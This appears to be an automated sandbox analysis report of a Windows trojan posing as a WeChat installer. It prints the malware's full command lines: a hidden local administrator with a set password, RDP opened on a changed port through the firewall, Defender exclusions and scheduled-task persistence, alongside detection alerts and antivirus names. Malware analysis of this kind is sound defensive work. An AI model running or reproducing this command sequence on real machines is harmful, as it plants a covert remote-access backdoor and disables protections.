wechat-35355.exe| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6402 | Aug. 10, 2021, 9:29 a.m. | Aug. 10, 2021, 9:31 a.m. |
-
-
-
-
findstr.exe findstr /V /R "^ETrtYIGmpEuLDGoEdGacOuXIMVXhCuDbiyQQuybkrfEFDongODRpbaVnVxaeKaXewJEnPsbloismBsyDbJnYfzZOlaUMNcAKsBEUEZmbyGwdwcWDfOFwUYNHJPgvbLvN$" Magra.vst
1744 -
-
-
-
-
-
wusa.exe "C:\Windows\System32\wusa.exe" /quiet
2440
-
-
-
-
-
-
findstr.exe findstr /V /R "^ETrtYIGmpEuLDGoEdGacOuXIMVXhCuDbiyQQuybkrfEFDongODRpbaVnVxaeKaXewJEnPsbloismBsyDbJnYfzZOlaUMNcAKsBEUEZmbyGwdwcWDfOFwUYNHJPgvbLvN$" Magra.vst
2156 -
-
-
-
cmd.exe C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\1164.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs
3012-
cscript.exe cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\1164.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs
2820
-
-
cmd.exe C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\13.vbs" ENWbXBorgA hKztsHIGxo "C:\Users\test22\AppData\Roaming\KGYyvQq\552.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\KfPhiDQW.bat" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
2552-
cscript.exe cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\13.vbs" ENWbXBorgA hKztsHIGxo "C:\Users\test22\AppData\Roaming\KGYyvQq\552.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\KfPhiDQW.bat" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
1912
-
-
cmd.exe C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC19"
156-
schtasks.exe schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC19"
1168
-
-
cmd.exe C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\335.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
1820-
cscript.exe cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\335.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
2392
-
-
cmd.exe C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC87"
2788 -
cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\test22\AppData\Roaming\KGYyvQq\tbgUJlYNtm.bat ENWbXBorgA hKztsHIGxo"
3068-
-
WMIC.exe wmic group where sid="S-1-5-32-544" get name /value
1948
-
-
cmd.exe C:\Windows\system32\cmd.exe /c "wmic group where sid="S-1-5-32-555" get name /value"
2116 -
-
net1.exe C:\Windows\system32\net1 user ENWbXBorgA hKztsHIGxo /add
2888
-
-
-
net1.exe C:\Windows\system32\net1 localgroup Administrators ENWbXBorgA /add
2212
-
-
-
net1.exe C:\Windows\system32\net1 localgroup "Remote Desktop Users" ENWbXBorgA /add
236
-
-
net.exe net accounts /maxpwage:unlimited
2448 -
reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ENWbXBorgA /t REG_DWORD /d "00000000" /f
2040 -
reg.exe reg add "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 13389 /f
2504 -
netsh.exe netsh advfirewall firewall add rule name="RDP Port 13389" profile=any protocol=TCP action=allow dir=in localport=13389
2560 -
powershell.exe powershell -Command Add-MpPreference -ExclusionPath "$env:ProgramFiles"
3088 -
powershell.exe powershell -Command Add-MpPreference -ExclusionPath "$env:Appdata"
3232 -
powershell.exe powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend
3376 -
powershell.exe powershell -Command Add-MpPreference -ExclusionProcess "C:\Windows\System32\wscript.exe"
3512 -
timeout.exe Timeout /t 15
3604
-
-
-
fsutil.exe fsutil dirty query C:
3968 -
sc.exe sc queryex "TermService"
3816 -
find.exe find "STATE"
1972 -
RDPWInst.exe "C:\Program Files\RDP Wrapper\RDPWInst.exe" -u
3192 -
-
netsh.exe netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
468
-
-
reg.exe reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t reg_dword /d 0x2 /f
3856 -
reg.exe reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel /t reg_dword /d 0x2 /f
4012 -
cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" 2>nul
3648-
reg.exe reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections"
2192
-
-
reg.exe reg query "HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters" /f "rdpwrap.dll"
3208 -
cmd.exe C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll" 2>nul
3128-
reg.exe reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll"
3132
-
-
reg.exe reg add "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll" /t REG_SZ /d "6.1.7601.17514" /f
3744 -
findstr.exe findstr /c:"[6.1.7601.17514]" "C:\Program Files\RDP Wrapper\rdpwrap.ini"
3468
-
-
cmd.exe C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\195.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\722.vbs" "VlROR2NsQlZWazlXTWtwWlVXMDVlVm93UlcxVWF6bERXWG94YjFNemNEQmpNR2hLVWpOb2RrcHJlREphV0VaM1pETmpPV1Y2Clp6Qk9WVkpHVW10V1EweFVTWGhQVkZGMENrNUVXVEpTUXpGRFRVVk5kMHhVUmtaUFJVNUZUVlZaZWsxRVRUQlJXREE5" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll"
1068 -
cmd.exe C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "AdobeGCInvoker-1.0-MicrosoftAccount65"
2436-
schtasks.exe schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "AdobeGCInvoker-1.0-MicrosoftAccount65"
600
-
-
-
-
-
findstr.exe findstr /V /R "^ETrtYIGmpEuLDGoEdGacOuXIMVXhCuDbiyQQuybkrfEFDongODRpbaVnVxaeKaXewJEnPsbloismBsyDbJnYfzZOlaUMNcAKsBEUEZmbyGwdwcWDfOFwUYNHJPgvbLvN$" Magra.vst
2756 -
-
-
RegAsm.exe C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe
1852
-
-
-
PING.EXE ping 127.0.0.1 -n 30
204
-
-
-
-
explorer.exe C:\Windows\Explorer.EXE
1236
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.102:49271 -> 185.199.110.133:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.102:49270 -> 185.199.110.133:443 | 906200056 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 185.199.110.133:443 -> 192.168.56.102:49272 | 2029340 | ET INFO TLS Handshake Failure | Potentially Bad Traffic |
Suricata TLS
No Suricata TLS
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid |
| registry | HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe |
| packer | Armadillo v1.71 |
| resource name | AVATAR |
| resource name | IGNORE_LIST |
| description | RegAsm.exe tried to sleep 143 seconds, actually delayed analysis time by 143 seconds | |||
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extensions\hafajomdciknnfnhlbmonkdhhcfgcdhn |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extensions\hafajomdciknnfnhlbmonkdhhcfgcdhn\3844\background.js |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extensions |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extensions\hafajomdciknnfnhlbmonkdhhcfgcdhn\3844\manifest.json |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extensions\hafajomdciknnfnhlbmonkdhhcfgcdhn\10.9_0\manifest.json |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extensions\hafajomdciknnfnhlbmonkdhhcfgcdhn\3844\icon.png |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Preferences |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default |
| file | C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Extensions\hafajomdciknnfnhlbmonkdhhcfgcdhn\3844\background.js |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\1164.vbs |
| file | C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Naso.exe.com |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\335.vbs |
| file | C:\Program Files\RDP Wrapper\rdpwrap.dll |
| file | C:\Users\test22\AppData\Roaming\plink.exe |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\722.vbs |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\tbgUJlYNtm.bat |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\195.vbs |
| file | C:\Program Files\RDP Wrapper\RDPWInst.exe |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\13.vbs |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs |
| file | C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Vacillavo.exe.com |
| file | C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Pensai.exe.com |
| file | C:\Program Files\RDP Wrapper\rdpwrap.bat |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll |
| file | C:\Users\test22\AppData\Roaming\KGYyvQq\552.vbs |
| file | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\1164.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs |
| cmdline | C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" 2>nul |
| cmdline | C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll" 2>nul |
| cmdline | C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\335.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\947.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" |
| cmdline | C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "AdobeGCInvoker-1.0-MicrosoftAccount65" |
| cmdline | C:\Windows\system32\cmd.exe /c "wmic group where sid="S-1-5-32-544" get name /value" |
| cmdline | powershell -Command Add-MpPreference -ExclusionPath "$env:ProgramFiles" |
| cmdline | powershell -Command Add-MpPreference -ExclusionProcess "C:\Windows\System32\wscript.exe" |
| cmdline | C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\13.vbs" ENWbXBorgA hKztsHIGxo "C:\Users\test22\AppData\Roaming\KGYyvQq\552.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\KfPhiDQW.bat" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" |
| cmdline | schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "AdobeGCInvoker-1.0-MicrosoftAccount65" |
| cmdline | wmic group where sid="S-1-5-32-555" get name /value |
| cmdline | C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC87" |
| cmdline | "C:\Windows\System32\cmd.exe" /c cmd < Orlo.vst |
| cmdline | C:\Windows\system32\cmd.exe /c cscript //nologo "C:\Program Files\RDP Wrapper\rdpwrap.bat?.wsf" //job:fileVersion "C:\Windows\System32\termsrv.dll" |
| cmdline | C:\Windows\system32\cmd.exe /c cscript.exe "C:\Users\test22\AppData\Roaming\KGYyvQq\195.vbs" "C:\Users\test22\AppData\Roaming\KGYyvQq\722.vbs" "VlROR2NsQlZWazlXTWtwWlVXMDVlVm93UlcxVWF6bERXWG94YjFNemNEQmpNR2hLVWpOb2RrcHJlREphV0VaM1pETmpPV1Y2Clp6Qk9WVkpHVW10V1EweFVTWGhQVkZGMENrNUVXVEpTUXpGRFRVVk5kMHhVUmtaUFJVNUZUVlZaZWsxRVRUQlJXREE5" "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" |
| cmdline | powershell -Command Add-MpPreference -ExclusionPath "$env:Appdata" |
| cmdline | schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC87" |
| cmdline | schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC19" |
| cmdline | C:\Windows\system32\cmd.exe /c "C:\Program Files\RDP Wrapper\rdpwrap.bat" |
| cmdline | wmic group where sid="S-1-5-32-544" get name /value |
| cmdline | C:\Windows\system32\cmd.exe /c "C:\Users\test22\AppData\Roaming\KGYyvQq\tbgUJlYNtm.bat ENWbXBorgA hKztsHIGxo" |
| cmdline | powershell -Command Set-MpPreference -SubmitSamplesConsent NeverSend |
| cmdline | C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC19" |
| cmdline | C:\Windows\system32\cmd.exe /c "wmic group where sid="S-1-5-32-555" get name /value" |
| file | C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Naso.exe.com |
| file | C:\Program Files\RDP Wrapper\RDPWInst.exe |
| file | C:\Users\test22\AppData\Local\Temp\7ZipSfx.000\Naso.exe.com |
| file | C:\Users\test22\AppData\Roaming\plink.exe |
| wmi | SELECT Name FROM Win32_Group WHERE sid="S-1-5-32-544" |
| section | {u'size_of_data': u'0x000b6000', u'virtual_address': u'0x00020000', u'entropy': 7.684871776112975, u'name': u'.rsrc', u'virtual_size': u'0x000b5e2c'} | entropy | 7.68487177611 | description | A section with a high entropy has been found | |||||||||
| entropy | 0.877108433735 | description | Overall entropy of this PE file is high | |||||||||||
| url | http://www.microsoft.com/schemas/ie8tldlistdescription/1.0 |
| url | http://purl.org/rss/1.0/ |
| url | http://www.passport.com |
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Create a windows service | rule | Create_Service | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Run a KeyLogger | rule | KeyLogger | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Hijack network configuration | rule | Hijack_Network | ||||||
| description | Match Windows Inet API call | rule | Str_Win32_Internet_API | ||||||
| description | Communications over FTP | rule | Network_FTP | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
| description | Communications over P2P network | rule | Network_P2P_Win | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | Install itself for autorun at Windows startup | rule | Persistence | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| cmdline | net localgroup "Remote Desktop Users" ENWbXBorgA /add |
| cmdline | C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" 2>nul |
| cmdline | net user ENWbXBorgA hKztsHIGxo /add |
| cmdline | C:\Windows\system32\cmd.exe /c reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll" 2>nul |
| cmdline | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v ENWbXBorgA /t REG_DWORD /d "00000000" /f |
| cmdline | C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "AdobeGCInvoker-1.0-MicrosoftAccount65" |
| cmdline | C:\Windows\system32\cmd.exe /c "wmic group where sid="S-1-5-32-544" get name /value" |
| cmdline | reg query "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll" |
| cmdline | sc queryex "TermService" |
| cmdline | schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "AdobeGCInvoker-1.0-MicrosoftAccount65" |
| cmdline | wmic group where sid="S-1-5-32-555" get name /value |
| cmdline | fsutil dirty query C: |
| cmdline | C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC87" |
| cmdline | netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow |
| cmdline | reg query "HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters" /f "rdpwrap.dll" |
| cmdline | reg add "hklm\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 13389 /f |
| cmdline | reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" |
| cmdline | wusa.exe /quiet |
| cmdline | reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel /t reg_dword /d 0x2 /f |
| cmdline | schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC87" |
| cmdline | schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC19" |
| cmdline | net localgroup Administrators ENWbXBorgA /add |
| cmdline | wmic group where sid="S-1-5-32-544" get name /value |
| cmdline | netsh advfirewall firewall add rule name="RDP Port 13389" profile=any protocol=TCP action=allow dir=in localport=13389 |
| cmdline | C:\Windows\system32\cmd.exe /c "C:\Users\test22\AppData\Roaming\KGYyvQq\tbgUJlYNtm.bat ENWbXBorgA hKztsHIGxo" |
| cmdline | "C:\Windows\System32\wusa.exe" /quiet |
| cmdline | net accounts /maxpwage:unlimited |
| cmdline | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\RDP-Wrapper\Autoupdate" /v "termsrv.dll" /t REG_SZ /d "6.1.7601.17514" /f |
| cmdline | C:\Windows\system32\cmd.exe /c schtasks.exe /Create /XML "C:\Users\test22\AppData\Roaming\KGYyvQq\Wwc.dll" /tn "CCleanerSkipUAC19" |
| cmdline | reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t reg_dword /d 0x2 /f |
| cmdline | ping 127.0.0.1 -n 30 |
| cmdline | C:\Windows\system32\cmd.exe /c "wmic group where sid="S-1-5-32-555" get name /value" |
| buffer | Buffer with sha1: b0bd3cbdf9d37a00eb1a09466ad9f8a9e0a9b9ff |
| buffer | Buffer with sha1: d14f54e5679fad2a8173f5ef47be5afa649dca41 |
| buffer | Buffer with sha1: c445eaf6f8fd93746fc3d3374d7b653f13ab5911 |
| cmdline | net localgroup Administrators ENWbXBorgA /add |
| reg_key | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\TermService\Parameters\ServiceDll | reg_value | %ProgramFiles%\RDP Wrapper\rdpwrap.dll | ||||||
| cmdline | netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow |
| cmdline | netsh advfirewall firewall add rule name="RDP Port 13389" profile=any protocol=TCP action=allow dir=in localport=13389 |
| DrWeb | BAT.Drop.2756 |
| ESET-NOD32 | a variant of Win32/Packed.7zip.CP suspicious |
| Avast | Win32:Malware-gen |
| Rising | Trojan.HiddenRun/SFX!1.D57B (CLASSIC) |
| Zillya | Backdoor.Agent.Win32.79977 |
| Ikarus | Trojan-Spy.RedLineStealer |
| Jiangmin | Trojan.Alien.jp |
| Antiy-AVL | Trojan/Generic.ASMalwS.332AC76 |
| Gridinsoft | Trojan.Win32.Agent.oa!s1 |
| Microsoft | Program:Win32/Wacapew.C!ml |
| Fortinet | W32/Agent.ACXU!tr |
| AVG | Win32:Malware-gen |
| file | C:\Windows\System32\ie4uinit.exe |
| file | C:\Program Files\Windows Sidebar\sidebar.exe |
| file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
| file | C:\Windows\System32\xpsrchvw.exe |
| file | C:\Windows\System32\displayswitch.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
| file | C:\Windows\System32\mblctr.exe |
| file | C:\Windows\System32\mstsc.exe |
| file | C:\Windows\System32\SnippingTool.exe |
| file | C:\Windows\System32\SoundRecorder.exe |
| file | C:\Windows\System32\dfrgui.exe |
| file | C:\Windows\System32\msinfo32.exe |
| file | C:\Windows\System32\rstrui.exe |
| file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
| file | C:\Program Files\Windows Journal\Journal.exe |
| file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| file | C:\Windows\System32\MdSched.exe |
| file | C:\Windows\System32\msconfig.exe |
| file | C:\Windows\System32\recdisc.exe |
| file | C:\Windows\System32\msra.exe |